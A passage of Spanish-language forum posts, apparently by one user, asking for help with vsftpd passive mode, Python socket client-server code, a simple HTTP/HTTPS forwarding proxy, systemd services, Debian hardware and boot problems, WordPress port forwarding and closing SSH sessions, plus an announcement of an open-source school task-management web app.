#       PASSIVE MODE                #
###########################
pasv_enable=YES
pasv_addr_resolve=YES
pasv_address=xxxxxxxxxx.xxx


Le añadí lo siguiente para que de un IP externa, pero sigue sin listar los directorios.

Se puede hacer de alguna manera con iptables? O como se puede solucionar? Gracias

Buenas, estoy haciendo un script de instalación con python y quiero obligar al usuario a que lo ejecute como administrador. Eso en entorno GNU/Linux, se hace con la funcion os.geteuid().

Código (python) [Seleccionar] Expandir


import os, sys
if os.geteuid() != 0:
   print("Needs root privileges")
   sys.exit()
#code

pero como se puede hacer con Windows?

Hay alguna manera de obtener los datos del usuario actual? por que se puede obtener el nombre del usuario con el que estoy corriendo el script.

Gracias de antemano

Buenas. Tengo un problema....

Tengo una clase, donde cuya clase estoy llamando a la funcion OS_system(), importado del paquete ' init'

Código (python) [Seleccionar] Expandir


from init import *
class notification:
       # [CODE]
def popup(self, title, type_title, content_text, type_image, Image=Image):
try:
main = Tk()
ico = Image.open(OS_system().path_tkinter("SockServices.png"))
                        # [...]


init modulo:

Código (python) [Seleccionar] Expandir


class OS_system:
def __init__(self):
self.system = platform.system()
        # [...]
def path_tkinter(self,image):
if self.system == "Linux":
return "/etc/SockServices/mods/popup/images/"+str(image)
elif self.system == "Windows":
return "C:\Program Files\SockServices\mods\popup\images\\"+str(image)

El problema es que me da el error

NameError: name 'OS_system' is not defined

El problema es que la clase OS_system del modulo init no es importada dentro de la clase notification. Como lo hago?[/code]

Buenas, estoy haciendo un script python que será un servicio ejecutandose en segundo plano y necesito mostrar los servicios del sistema. Si hay una funcion o dependencia en python que permita mostrar los servicios mejor, ya que el servicio se ejecutaria, tanto en sistemas Linux como Windows.

Eso se puede hacer con Python?

[RESUELTO]

RESUELTO

El resultado fue crear en el cliente un nuevo subproceso donde este en escucha a la respuesta del mensaje OK o TooManyClients, y con cuya respuesta guardarla en un booleano en la clase Globals y con ello hacer el condicional.

Y en el servidor cuando se conecta un cliente almacena en la lista  list_clients, creada en la clase Globals, una sublista con el nombre del cliente "SockServicesX", la conexion, y el booleano (por defecto False).
Más tarde creo la clase Select_user que es para seleccionar la sublista correspondiente al cliente conectado y con ello usar esa información para eliminar el usuario (sublista) con user.remove_client() o check la conexión user.check(conn)


Dejo el código en el proximo post

En conclusión no puede haber dos funciones recv() en una misma conexion socket

Buenas, estoy haciendo una conexion socket con varios clientes... con un máximo de 3 clientes. La idea es
la siguiente:

socket server completo

Código (python) [Seleccionar] Expandir


#!/usr/bin/python3
# Server
import socket, threading, os, sys, time

# globals variables
class globals:
PORT, NUMBER_CONNECTIONS = 2048, 3 #constants
number_client = 0 # count clients number

### CONNECTIONS CLIENTS PARALLEL ###

def client(connection, address, idle):

ADDRESS_CLIENT, PORT_CLIENT = address[0], address[1]

print("client "+str(idle)+" ["+str(ADDRESS_CLIENT)+"] connected by "+str(PORT_CLIENT))
while True:
data = connection.recv(1024)

if data.decode() == "exit" or data.decode() == "close":
connection.sendall(b"GoodBye")
print("Client "+str(idle)+" ["+str(ADDRESS_CLIENT)+":"+str(PORT_CLIENT)+"] left")
globals.number_client-=1 # subtract client at count
break
elif data.decode() == "KeyboardInterrupt":
print("[\033[0;31m*\033[0m] Connection interrupted with Client "+str(idle))
globals.number_client-=1 # subtract client at count
break
else:
connection.sendall(data)

#close the connection with client
connection.close()

### MAIN ###
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("",globals.PORT))
sock.listen(globals.NUMBER_CONNECTIONS)
print("[\033[0;34m*\033[0m] Listening port "+str(globals.PORT)+"....")
while True:
conn, addr = sock.accept()
# if he is fourth client o more, not connect it
if not globals.number_client+1 > globals.NUMBER_CONNECTIONS:
globals.number_client+=1 # add client at count
idle="SockServices"+str(globals.number_client)
socket_client = threading.Thread(target=client,name=idle,args=(conn, addr, idle))
;
socket_client.start()
else:
conn.sendall(b"TooManyClients")

except KeyboardInterrupt:
# close the server
print("\n[\033[1;34m*\033[0m] Closing server....")
sock.close()
os.system("fuser -k -n tcp %s 2>&1" % globals.PORT)


explicación

variables globales

Código (python) [Seleccionar] Expandir


# globals variables
class globals:
PORT, NUMBER_CONNECTIONS = 2048, 3 #constants
number_client = 0 # count clients number


Creo una conexion socket nomal. [globals es una clase con las variables que se van a utilizan en todo el script (también en dentro de funciones)]

Código (python) [Seleccionar] Expandir



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("",globals.PORT))
sock.listen(globals.NUMBER_CONNECTIONS)
print("[\033[0;34m*\033[0m] Listening port "+str(globals.PORT)+"....")
while True:
conn, addr = sock.accept()
# if he is fourth client o more, not connect it
if not globals.number_client+1 > globals.NUMBER_CONNECTIONS:
globals.number_client+=1 # add client at count
idle="SockServices"+str(globals.number_client)
socket_client = threading.Thread(target=client,name=idle,args=(conn, addr, idle));
socket_client.start()
else:
conn.sendall(b"TooManyClients")


Cuando corre el bucle si es 1º,2º o 3º cliente la variable globals.number_client con valor por defecto 0 es incrementado, y creo una idle que es el nombre SockServices mas el numero de cliente, después creo un hilo con nombre SockServices donde va a ejecutar la funcion client

Código [Seleccionar] Expandir


if not globals.number_client+1 > globals.NUMBER_CONNECTIONS:
globals.number_client+=1 # add client at count
idle="SockServices"+str(globals.number_client)
socket_client = threading.Thread(target=client,name=idle,args=(conn, addr, idle));
socket_client.start()


Si la condición no se cumple, significa que ya hay tres clientes y me envias al cliente con conexion denegada la palabra "TooManyClients"

Código (python) [Seleccionar] Expandir


else:
conn.sendall(b"TooManyClients")


socket client completo

Código (python) [Seleccionar] Expandir


#!/usr/bin/python3
#client
import socket, time, os, sys

# CONSTANTS
ADDRESS, PORT = "127.0.0.1", 2048

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ADDRESS, PORT))
sock.settimeout(3)

while True:
try:
try:
#receive server's data
check = sock.recv(1024)
except socket.timeout:
pass

if check.decode() == "TooManyClients":
print("[\033[0;31m*\033[0m] Too many clients connected")
sock.close()
sys.exit()
else:
print("[\033[0;32m*\033[0m] Connection established")
pass

sock.setblocking(s)
while True:
#prompt terminal
prompt = input("> ")

#receive server's data
data = sock.recv(1024)

print(data.decode())

#Send prompt's data to server
sock.sendall(prompt.encode())

if data.decode() == "GoodBye":
print("[\033[0;34m*\033[0m] Closing connection....")
break
except KeyboardInterrupt:
sock.sendall(b"KeyboardInterrupt")
print("\n[\033[0;31m*\033[0m] Connection interrupted, closing connection....")
break
sock.close()


explicación

Creo una conexion socket normal y me conecto al servidor

Código (python) [Seleccionar] Expandir


# CONSTANTS
ADDRESS, PORT = "127.0.0.1", 2048

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ADDRESS, PORT))


Una vez hecha la conexion ejecuto el primer bucle while True, que lo ejecuto para saber si el cliente se puede conectar o no.
Primero recibo los datos del servidor

Código (python) [Seleccionar] Expandir


while True:
try:
#receive server's data
data = sock.recv(1024)


Sí lo que recibo es TooManyClients, le digo al cliente que no se puede conectar porque el foro de clientes está completo y cierro la conexion

Código (python) [Seleccionar] Expandir


if data.decode() == "TooManyClients":
print("[\033[0;31m*\033[0m] Too many clients connected")
sock.close()
sys.exit()


Si no recibo nada imprime que esto conectado al servidor y ejecuta el siguiente bucle.

Código (python) [Seleccionar] Expandir


else:
print("[\033[0;32m*\033[0m] Connection established")
pass
while True:
#prompt terminal
prompt = input("> ")

print(data.decode())

#Send prompt's data to server
sock.sendall(prompt.encode())

if data.decode() == "GoodBye":
print("[\033[0;34m*\033[0m] Closing connection....")
break


Que el siguiente bucle ya podré enviar datos al servidor

problema

Como podeis ver en la imagen cuando me conecto, no me imprime el mensaje Connection establlished, sino que se queda como en escucha, en el cuarto intento de conexión (cuadro izquierdo abajo), me imprime el mensaje Too many clients connected

Creo que el problema esta en el lado cliente, en el primer while True, que esta recibiendo los datos

Código (python) [Seleccionar] Expandir


sock.connect((ADDRESS, PORT))
while True:
try:
#receive server's data
data = sock.recv(1024)


El problema es que el recv() se queda en escucha y como no recibe nada... ya que el condicional if que valida el usuario en socket server no envia nada al cliente.

Código (python) [Seleccionar] Expandir


if not globals.number_client+1 > globals.NUMBER_CONNECTIONS:
globals.number_client+=1 # add client at count
idle="SockServices"+str(globals.number_client)
socket_client = threading.Thread(target=client,name=idle,args=(conn, addr, idle));
socket_client.start()
else:
conn.sendall(b"TooManyClients")


Sí en la condicional if le envio un OK, y con esto, se me inicia pero si envio algo del cliente al servidor siempre me recibe el mensaje OK, y no GoodBye

Código (python) [Seleccionar] Expandir


if not globals.number_client+1 > globals.NUMBER_CONNECTIONS:
                       conn.sendall(b"OK")
globals.number_client+=1 # add client at count
idle="SockServices"+str(globals.number_client)
socket_client = threading.Thread(target=client,name=idle,args=(conn, addr, idle));
socket_client.start()
else:
conn.sendall(b"TooManyClients")


Como la idea de enviar el mensaje OK no funciona... me preguntaria si se podría en el cliente dejar de escuchar los datos a recibir recv(), hacer la condicional y después volver a escuchar los datos.. Se puede hacer esto con sock.setblocking()?

Código (python) [Seleccionar] Expandir


while True:
try:
#receive server's data
data = sock.recv(1024)
if data.decode() == "TooManyClients":
print("[\033[0;31m*\033[0m] Too many clients connected")
sock.close()
sys.exit()
else:
print("[\033[0;32m*\033[0m] Connection established")
pass


Leí un post en stackoverflow, donde preguntaba como podía recibir datos con recv() un tiempo con select
https://stackoverflow.com/questions/2719017/how-to-set-timeout-on-pythons-socket-recv-method#answer-2721734

Yo lo que hice es lo siguiente:

importe el modulo select

Código (python) [Seleccionar] Expandir

import select

dentro del bucle cree una variable ready que le permite escuchar el rec() solo 2 segundos y cuando acabe estos segundos. Mientras pasa estos dos segundos, recibo los datos en la variable data y si data contiene TooManyClients la varibale booleana es False (por defecto es True).

Si la variable es True ejecutaré el pass y pasará al siguiente while y si es False me imprimira que hay demasiados clientes.

Código (python) [Seleccionar] Expandir


sock.setblocking(0)
check = True
while True:
try:
ready = select.select([sock], [],  [], 2)
if ready[0]:
#receive server's data
data = sock.recv(1024)
if data.decode() == "TooManyClients":
check=False
if check==False:
print("[\033[0;31m*\033[0m] Too many clients connected")
sock.close()
sys.exit()
else:
print("[\033[0;32m*\033[0m] Connection established")
pass


Pero tengo dos problemas con esta solucion

• Este script se ejecutará en sistemas Windows y Linux y en Windows el modulo select no funcionara
• Cuando estoy ya conectado al servidor y envio un dato, este no me leé la variable data

Se puede en:

Código (python) [Seleccionar] Expandir


else:
print("[\033[0;32m*\033[0m] Connection established")
pass

o en:

Código (python) [Seleccionar] Expandir


while True:
#prompt terminal
prompt = input("> ")

print(data.decode())

#Send prompt's data to server
sock.sendall(prompt.encode())



Volver a activar el recv()? Y si se puede como?

actualizado

Buenas como mi idea es que recv() se ejecute temporalmente en el primer while True del cliente inserte lo siguiente:

Código (python) [Seleccionar] Expandir


sock.connect(...)
sock.settimeout(3)

while True:
try:
try:
#receive server's data
check = sock.recv(1024)
except socket.timeout:
pass


Durante 3 segundos me ejecuta el sock.recv() y cuando pasa el tiempo me salta la excepcion por la cual pasa al siguiente bucle, el problema esta en que lo que obtuve de recv() lo quisiera almacenar en una variable, teoricamente en check, pero cuando hago las condicionales check.decode() no me detecta cuya variable

Services
Traceback (most recent call last):
 File "./SockServices", line 16, in <module>
   check = sock.recv(1024)
socket.timeout: timed out

During handling of the above exception, another exception occurred:                                    

Traceback (most recent call last):
 File "./SockServices", line 18, in <module>
   print(check.decode())

Buenas, esto es más por curiosidad y conocimento que por algun problema o error...

Cuando voy a /lib/systemd/system/ donde estan todos los archivos .service que son controlados por systemd. Por que los archivos donde estan ExecStart, ExecStop,.. con el comando a ejecutar se ejecuta de esta manera:

Código [Seleccionar] Expandir

ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
y no de esta:

Código [Seleccionar] Expandir

ExecStart=vsftpd /etc/vsftpd.conf

Si al final es lo mismo y se ejecuta....

Que es por estetica o por algo en concreto?

Código [Seleccionar] Expandir


[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty

[Install]
WantedBy=multi-user.target


Gracias

Buenas, estoy haciendo un servidor proxy con Python3. La idea es la siguiente:

1 . Primero, capturo el puerto especificado en el primer argumento:

Código [Seleccionar] Expandir


if len(sys.argv) == 2:
        pass
else:
        sys.exit()


# CONSTANTS GLOBALS
global PORT_LISTEN, BUFFER_RECV, CONNECTIONS
PORT_LISTEN = int(sys.argv[1])
BUFFER_RECV = 8192
CONNECTIONS = 5


2. Después con el puerto especificado, creo una conexion socket servidor bind(), y obtengo los datos recibidos, con ello, ejecuto un hilo, donde paso los datos de la conexion y datos a la funcion get_data.

Código [Seleccionar] Expandir


print("[*] Listening Port "+str(PORT_LISTEN)+"....")
lister = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
lister.bind(("",PORT_LISTEN))
lister.listen(CONNECTIONS)
while True:
        try:
                conn, addr = lister.accept()
                data = conn.recv(BUFFER_RECV)
                thread_data = threading.Thread(target=get_data, name="get_data", args=(conn, addr, data))
                thread_data.start()
        except KeyboardInterrupt:
                conn.close()
                lister.close()
                print("\n[\033[1;31m!\033[0m] Exiting Proxy Server....")
                sys.exit()


3. En la funcion get_data, obtengo la url, donde cogeré dominio donde estoy visitando

Código [Seleccionar] Expandir


        #get url
        url = str(data).split('\\n')[0]
        url = str(url).split(' ')[1]

        #get FQDN
        website = url.replace("http://","")
        website = website.split("/")[0]


4. Una vez sé en que dominio estoy haciendo la petición, si el dominio contiene ":" cogeré el puerto especificado. Por defecto el puerto es 80, si no se detecto ":" en el dominio.

Código [Seleccionar] Expandir


        port = 80
        if website.count(":") == 1:
                list = website.split(":")
                website = list[0]
                port = list[1]
                port = int(port)
        print("\n\033[1;32mwebsite\033[0m: "+str(website)+" \033[1;32mport\033[0m: "+str(port))


5. Finalmente ejecuto la funcion send_data con sus argumentos, para que me haga una conexion socket cliente al servidor y envie los datos, con un bucle.

Código [Seleccionar] Expandir


send_data(website, int(port), conn, data, addr, True)

def send_data(site, port, conn, data, addr):
    sender = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sender.connect((site,port))
    sender.send(data)
    while True:
            reply = sender.recv(8192)
            if len(reply) > 0:
                conn.send(reply)
            else:
                break
    sender.close()
    conn.close()


Esto funciona correctamente en sitios web HTTP, pero como cabe esperar, el HTTPS no, por los certificados ssl.

Así que modifiqué el apartado 5. Y con una condicional, si el puerto es 443, ejecutará lo siguiente:

Código [Seleccionar] Expandir


        if port == 443:
                send_data(website, int(port), conn, data, addr, True)
        else:
                send_data(website, int(port), conn, data, addr, False)

def send_data(site, port, conn, data, addr, SSL):
        sender = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sender.connect((site,port))
        sender.send(data)
        while True:
                reply = sender.recv(BUFFER_RECV)
                if len(reply) > 0:
                        conn.send(reply)
                else:
                        break
        sender.close()
        conn.close()



En send_data añadí un argumento booleano llamada SSL, que antes de hacer nada, si este es True, sería https, lo que no sé muy bien, es que hacer aquí.


Me he mirado el funcionamiento de los sitios HTTPS en youtube.
[youtube=640,360]https://www.youtube.com/watch?v=uNrh0zoItGI[/youtube]

En el minuto 2:16, explica con más profundidad como trabaja este protocolo. He pensado, si hay alguna forma de obtener el certificado que me da el servidor para obtener la llave publica.... pero no se muy bien.

Miré este enlace: https://soursop-dev.blogspot.com/2020/05/creacion-de-un-servidor-web-proxy-en.html

Donde te explica como hacer una conexion ssl con el modulo ssl.

Así que modifique la funcion send_data:

Código [Seleccionar] Expandir


def send_data(site, port, conn, data, addr, SSL):
        if SSL == True:
                server_cert = "./ssl/sechome.csr"
                client_cert = "./ssl/sechome.crt"
                client_key = "./ssl/sechome.key"
                context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH, cafile=server_cert)
                context.load_cert_chain(certfile=client_cert, keyfile=client_key)
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sender = context.wrap_socket(s, server_side=False, server_hostname=site)
        else:
                sender = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sender.connect((site,port))
        sender.send(data)
        while True:
                reply = sender.recv(BUFFER_RECV)
                if len(reply) > 0:
                        conn.send(reply)
                else:
                        break
        sender.close()
        conn.close()
:

Creé los certificados autofirmados:

Código [Seleccionar] Expandir


$ cd ssl
ssl/$ openssl req -newkey rsa:2048 -nodes -keyout sechome.key -out sechome.csr -sha256
ssl/$ openssl x509 -signkey sechome.key -in sechome.csr -req -days 365 -out sechome.crt


Como bien me imaginaba esto no funciona, ya que tendría que coger el certificado que me da el dominio al hacer la peticion. No acabo de entender muy bien en las variables de crt y key, que llaves tengo que poner...

Código [Seleccionar] Expandir


                server_cert = "./ssl/sechome.csr"
                client_cert = "./ssl/sechome.crt"
                client_key = "./ssl/sechome.key"



CODE COMPLETE:

Código [Seleccionar] Expandir


#!/usr/bin/python3
import socket, threading, re, sys, os

if len(sys.argv) == 2:
pass
else:
sys.exit()


# CONSTANTS GLOBALS
global PORT_LISTEN, BUFFER_RECV, CONNECTIONS
PORT_LISTEN = int(sys.argv[1])
BUFFER_RECV = 8192
CONNECTIONS = 5

def send_data(site, port, conn, data, addr, SSL):
if SSL == True:
server_cert = "./ssl/sechome.csr"
client_cert = "./ssl/sechome.crt"
client_key = "./ssl/sechome.key"
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH, cafile=server_cert)
context.load_cert_chain(certfile=client_cert, keyfile=client_key)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sender = context.wrap_socket(s, server_side=False, server_hostname=site)
else:
sender = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sender.connect((site,port))
sender.send(data)
while True:
reply = sender.recv(BUFFER_RECV)
if len(reply) > 0:
conn.send(reply)
else:
break
sender.close()
conn.close()


def get_data(conn, addr, data):
#get url
url = str(data).split('\\n')[0]
url = str(url).split(' ')[1]

#get FQDN
website = url.replace("http://","")
website = website.split("/")[0]
port = 80
if website.count(":") == 1:
list = website.split(":")
website = list[0]
port = list[1]
port = int(port)
print("\n\033[1;32mwebsite\033[0m: "+str(website)+" \033[1;32mport\033[0m: "+str(port))
if port == 443:
send_data(website, int(port), conn, data, addr, True)
else:
send_data(website, int(port), conn, data, addr, False)


print("[*] Listening Port "+str(PORT_LISTEN)+"....")
lister = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
lister.bind(("",PORT_LISTEN))
lister.listen(CONNECTIONS)
while True:
try:
conn, addr = lister.accept()
data = conn.recv(BUFFER_RECV)
thread_data = threading.Thread(target=get_data, name="get_data", args=(conn, addr, data))
thread_data.start()
except KeyboardInterrupt:
conn.close()
lister.close()
print("\n[\033[1;31m!\033[0m] Exiting Proxy Server....")
sys.exit()


Buenas. Como hago para ve por la terminal, la transferencia que tiene una descarga desde internet.

Es decir, descargo desde internet cualquier cosa en mi pc (localmente), y al conectarme desde fuera por ssh a cuyo pc. Como hago para ver cuanto tiempo falta la descarga? A traves de la terminal.

Graicas

[el problema esta en la detención del servicio, le especifico el mismo script pero pasandole un argumento "stop".]

Hola, estoy haciendo un servicio linux,sobre prevención de ataques de fuerza bruta por ssh. Lo tengo todo finalizado.

Solamente me hace falta crear el servicio y un script para añadirlo en /etc/init.d/ y configurarlo (/etc/rc?.d/) para que al inicar el equipo, se inicie.

Creo el servicio, creando un archivo con extension .service en /etc/systemd/system/sshield.service

Código [Seleccionar] Expandir


[Unit]
Description=Service for protect attacks of brute force ssh's

[Service]
Type=simple
ExecStart=/etc/sshield/sshield.sh
ExecStop=/etc/sshield/sshield.sh stop
RemainAfterExit=yes
Restart=always

[Install]
WantedBy=multi-user.target


Le especifico que el tipo de proceso es en segundo plano:

Código [Seleccionar] Expandir


Type=simple

Ejecuto el servicio en segundo plano:

Código [Seleccionar] Expandir


ExecStart=/etc/sshield/sshield.sh

Especifico el script para detener el servicio:

Código [Seleccionar] Expandir


ExecStop=/etc/sshield/sshield.sh stop


el problema esta en la detención del servicio, le especifico el mismo script pero pasandole un argumento "stop".

En el script sshield.sh, hay un condicional filtrando el argumento y si existe cuyo argumento, matará el proceso.

Código [Seleccionar] Expandir


if [[ $1 == "stop" ]];then
       kill -9 $$
fi


El problema que creo que es, es que estoy matando cuyo proceso y el systemctl al ver que el proceso fue detenido por la señal SIGKILL pues lo detecta como "failed" cuando se hace un status (systemctl status sshield)
IMAGEN: https://drive.google.com/file/d/1i0QVUjnFRzL3nlGjLqs1khXANPZowV_b/view?usp=sharing

Normalmente que señal se le envia a un servicio para detenerlo?

Gracias

Y. Este método para detener el servicio, se consideraría correcto?

#######################################################
GITHUB repositorio:  https://github.com/cleanet/GTE
#######################################################
#######################################################
  SITIO WEB: cleanet.260mb.net
#######################################################
Software con licencia MIT

Esta aplicación web, es free software y open source.

Se creó con la finalidad de un uso educativo, facilitando la gestión de tareas dentro de las aulas. Tanto para el profesorado como el alumnado.

Cada aula tiene su lugar en la web, donde hay un calendario, para añadir eventos independientes de otras aulas. Además también pueden añadir tanto enlaces como actividades interactivas embebidos para que puedan practicar lo aprendido.

El profesorado, podrá añadir vacaciones a los calendarios. Asi como añadir actividades interactivas.

Título: Gestión de Tareas Escolares Autor: cleanet Año: 2020

DEMO: https://g-t-e.260mb.net
RENEW: https://drive.google.com/file/d/1_mbPIpySLnDxil9uZNNkUCmLKV7tuaD6/view?usp=sharing

En la carpeta root está el PDF 'guia.pdf', donde explica el funcionamiento y la utilización del proyecto. Y en la carpeta 'instalacion' esta el pdf 'instalacion.pdf' in español, donde explica paso a paso como levantar un servidor Linux y configuar el proyecto en él.

Cualquier duda o reporte, no duden en contactarme por correo o aquí mismo.

Hola, acabé un proyecto web, lo tengo subido en github: https://github.com/cleanet/GTE/

Me gustaría publicarlo en algún sitio, existen portales donde puedas subir proyectos tuyos y exponerlos?

Gracias de antemano.

[A mí me huele que es problema de la CPU o fuente de alimentación de 400W (creo)]

Hola. Me reparé un pc viejo que tenia, compré componentes nuevos e instalé el Ubuntu 18.04.3 LTS, va todo bien pero se me cuelga el teclado y raton, y unicamente para solucionarlo, reseteo el pc.

La placa madre es ASROCK AliveNF6G-GLAN, es decir. Enciendo el ordenador, todo va bien, pero de repende, al estar encendido un rato se deshabilita el teclado y raton. Observe los procesos de la CPU y van muy disparado. Puede darse el caso de que al tener mucho porcentaje de CPU, algo lo bloqueara?

A mí me huele que es problema de la CPU o fuente de alimentación de 400W (creo), además el equipo tiene una tarjeta de red TK-LINK, 16GB de ram (4x8GB) y un ssd de 1TB, y así y todo va lento, al abrir el navegador, programa... sobretodo al principio. Después va normal.

Puede ser que sea el CPU que cause esta lentitud?

Hola, al instalar LAMP en mi servidor RPi3, creé tres VirtualHosts en apache2:

• Para trabajos de HTML/CSS (80)
• Proyecto personal (puerto 8080)
• Wordpress (puerto 8000)

configuré el router para que  cuando vaya a mi dominio "losheredia.ddns.net:8000" se redirija al puerto 8000 del server:

Lista de Servidores Virtuales
Nombre          WAN              IP LAN           LAN       Protocolo   Estado   Opciones
....
wordpress   8000   192.168.0.2   8000   TCP           Activado   Modificar/Eliminar


/etc/apache2/sites-enabled/000-default.conf

Código [Seleccionar] Expandir


<VirtualHost *:80>
       # The ServerName directive sets the request scheme, hostname and port that
       # the server uses to identify itself. This is used when creating
       # redirection URLs. In the context of virtual hosts, the ServerName
       # specifies what hostname must appear in the request's Host: header to
       # match this virtual host. For the default virtual host (this file) this
       # value is not decisive as it is used as a last resort host regardless.
       # However, you must set it for any further virtual host explicitly.
       #ServerName www.example.com

       ServerAdmin webmaster@localhost
       DocumentRoot /home/webserver

       # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
       # error, crit, alert, emerg.
       # It is also possible to configure the loglevel for particular
       # modules, e.g.
       #LogLevel info ssl:warn

       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined

       # For most configuration files from conf-available/, which are
       # enabled or disabled at a global level, it is possible to
       # include a line for only one particular virtual host. For example the
       # following line enables the CGI configuration for this host only
       # after it has been globally disabled with "a2disconf".
       #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:8080>
       ServerName GTE
       ServerAdmin webmaster@localhost
       #ServerAlias pruebas2.local
       DocumentRoot /home/gte/
       ErrorLog ${APACHE_LOG_DIR}/error_gte.log
       CustomLog ${APACHE_LOG_DIR}/access_gte.log combined
</VirtualHost>
<VirtualHost *:8000>
       ServerName wordpress
       ServerAdmin webmaster@localhost
       DocumentRoot /home/wordpress/
       ErrorLog ${APACHE_LOG_DIR}/error_wordpress.log
       CustomLog ${APACHE_LOG_DIR}/access_wordpress.log combined
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

/etc/apache2/sites-available/000-default.conf

Código [Seleccionar] Expandir


<VirtualHost *:80>
       # The ServerName directive sets the request scheme, hostname and port that
       # the server uses to identify itself. This is used when creating
       # redirection URLs. In the context of virtual hosts, the ServerName
       # specifies what hostname must appear in the request's Host: header to
       # match this virtual host. For the default virtual host (this file) this
       # value is not decisive as it is used as a last resort host regardless.
       # However, you must set it for any further virtual host explicitly.
       #ServerName www.example.com

       ServerAdmin webmaster@localhost
       DocumentRoot /home/webserver

       # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
       # error, crit, alert, emerg.
       # It is also possible to configure the loglevel for particular
       # modules, e.g.
       #LogLevel info ssl:warn

       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined

       # For most configuration files from conf-available/, which are
       # enabled or disabled at a global level, it is possible to
       # include a line for only one particular virtual host. For example the
       # following line enables the CGI configuration for this host only
       # after it has been globally disabled with "a2disconf".
       #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:8080>
       ServerName GTE
       ServerAdmin webmaster@localhost
       #ServerAlias pruebas2.local
       DocumentRoot /home/gte/
       ErrorLog ${APACHE_LOG_DIR}/error_gte.log
       CustomLog ${APACHE_LOG_DIR}/access_gte.log combined
</VirtualHost>
<VirtualHost *:8000>
       ServerName wordpress
       ServerAdmin webmaster@localhost
       DocumentRoot /home/wordpress/
       ErrorLog ${APACHE_LOG_DIR}/error_wordpress.log
       CustomLog ${APACHE_LOG_DIR}/access_wordpress.log combined
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet


y toda la configuración de wordpress esta bién (esta instalada en /home/wordpress/), en LAN va todo bien, pero al acceder desde el exterior (WAN) e inserto en el navegador "losheredia.ddns.net:8000" me accede a la página que estoy creando pero si accedo a "losheredia.ddns.net:8000/wp-admin" se queda cargando...

También pasa que me devuelve la ip local (http://192.168.0.2:8000) al hacer http://losheredia.ddns.net:8000


Temo que es alguna problematica de puertos. Mi pregunta es, ¿porque al acceder al losheredia.ddns.net:8000 puedo acceder pero al losheredia.ddns.net:8000/wp-admin no puedo?

Hola.

Quise montar mi propio ordenador, con una torre vieja que tenía. Me compré 4 modulos de DIMM DDR2 800MHZ 4GB, una tarjeta de red inalambrica tp-link 300Mbps PCI Express Adapter TL-WN881ND y un ssd  crucial MX500 de 1TB

Los componentes estan instalados en una placa madre ASOCK ALiveNF6G-GLAN (https://www.asrock.com/mb/nvidia/alivenf6g-glan/ ), con una fuente de alimentación PC CASE 460 PC con modelo LPK12-30P4E

Le instalé el SO Debian 10.1. Al arrancar salen estos mensajes:

Despues del arranque que da la opción de acceder a la BIOS o Boot Menu sale correctamente el GNU GRUB de Debian version 2.02+dfsg1-20 y al seleccionar la entrada de Debian sale una pantalla de error, que mas tarde desaparece:

Código [Seleccionar] Expandir


[     1.492033] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline


Después desaparece y sale los mensajes típicos de arranque de linux, pero acaba con el siguiente mensaje:

Código [Seleccionar] Expandir


[     10.974097] rt10192ee: Polling FW ready fail!! REG_MCVFWOL:0x00000304. count = 3001
[     12.065251] rt10192ee: Polling FW ready fail!! REG_MCVFWOL:0x00000306. count = 3001


Finalmente sale el login de Debian, inicio session y la mayoría de veces sale esto (a veces sale, ya aveces no):
https://drive.google.com/file/d/11YWqsiRsFPPhhUphisZ-TCVcxBoX9Wt8/view?usp=sharing [img]

Además cuando accedo al tty y miro el log /var/log/messages me sale esto:
https://drive.google.com/file/d/1acgHBs5-C3KU_WeqUh5zL9Nz_LglVCPa/view?usp=sharing [img]

Porque no se me vé el desktop? Que puedo hacer? desinstalé e instalé el GNOME y me hace lo mismo

Enlaces:
https://www.amazon.es/dp/B073ZC52BJ?ref=ppx_pop_mob_ap_share (DIMM DDR2 800MHz)
https://www.amazon.es/dp/B078211KBB/ref=cm_sw_r_wa_apap_8VduPt4x5q9dd (SSD 1TB)
https://www.amazon.es/dp/B006BSPTAQ/ref=cm_sw_r_wa_apap_kC5fw2TcNN611 (tarjeta wifi)

P.D: Cuando tengo todos los componentes, los nuevos y la tarjeta de red LAN de dos puertos, no se vé la interfaz gráfica y cuando se la quito, se inicia bién, ahora mismo el P.D lo estoy escribiendo desde la PC de torre y va bastante bien.

Es recomendable que me cambié de fuente de alimentación ya que he presenciado antes de escribir esta pregunta, reinicio del sistema y que se "colgaba" y por la RAM no puede ser.

Además presiento que va un poco más lenta, no mucho. Me recomendais comprar otro microprocesador AMD?

Auque si tengo el SSD y la RAM DIMM DDR2, y el procesador o la fuente, son viejas, puedes dar dificultades?

¿Como cerrar session de un usuario ssh remotamente desde la shell con la info que me da el archivo log, auth.log?

Con la info que me dan estas lineas?

Código [Seleccionar] Expandir


Oct 20 22:34:23 servheredia su: pam_unix(su:session): session opened for user root by administrador(uid=0)


Código [Seleccionar] Expandir


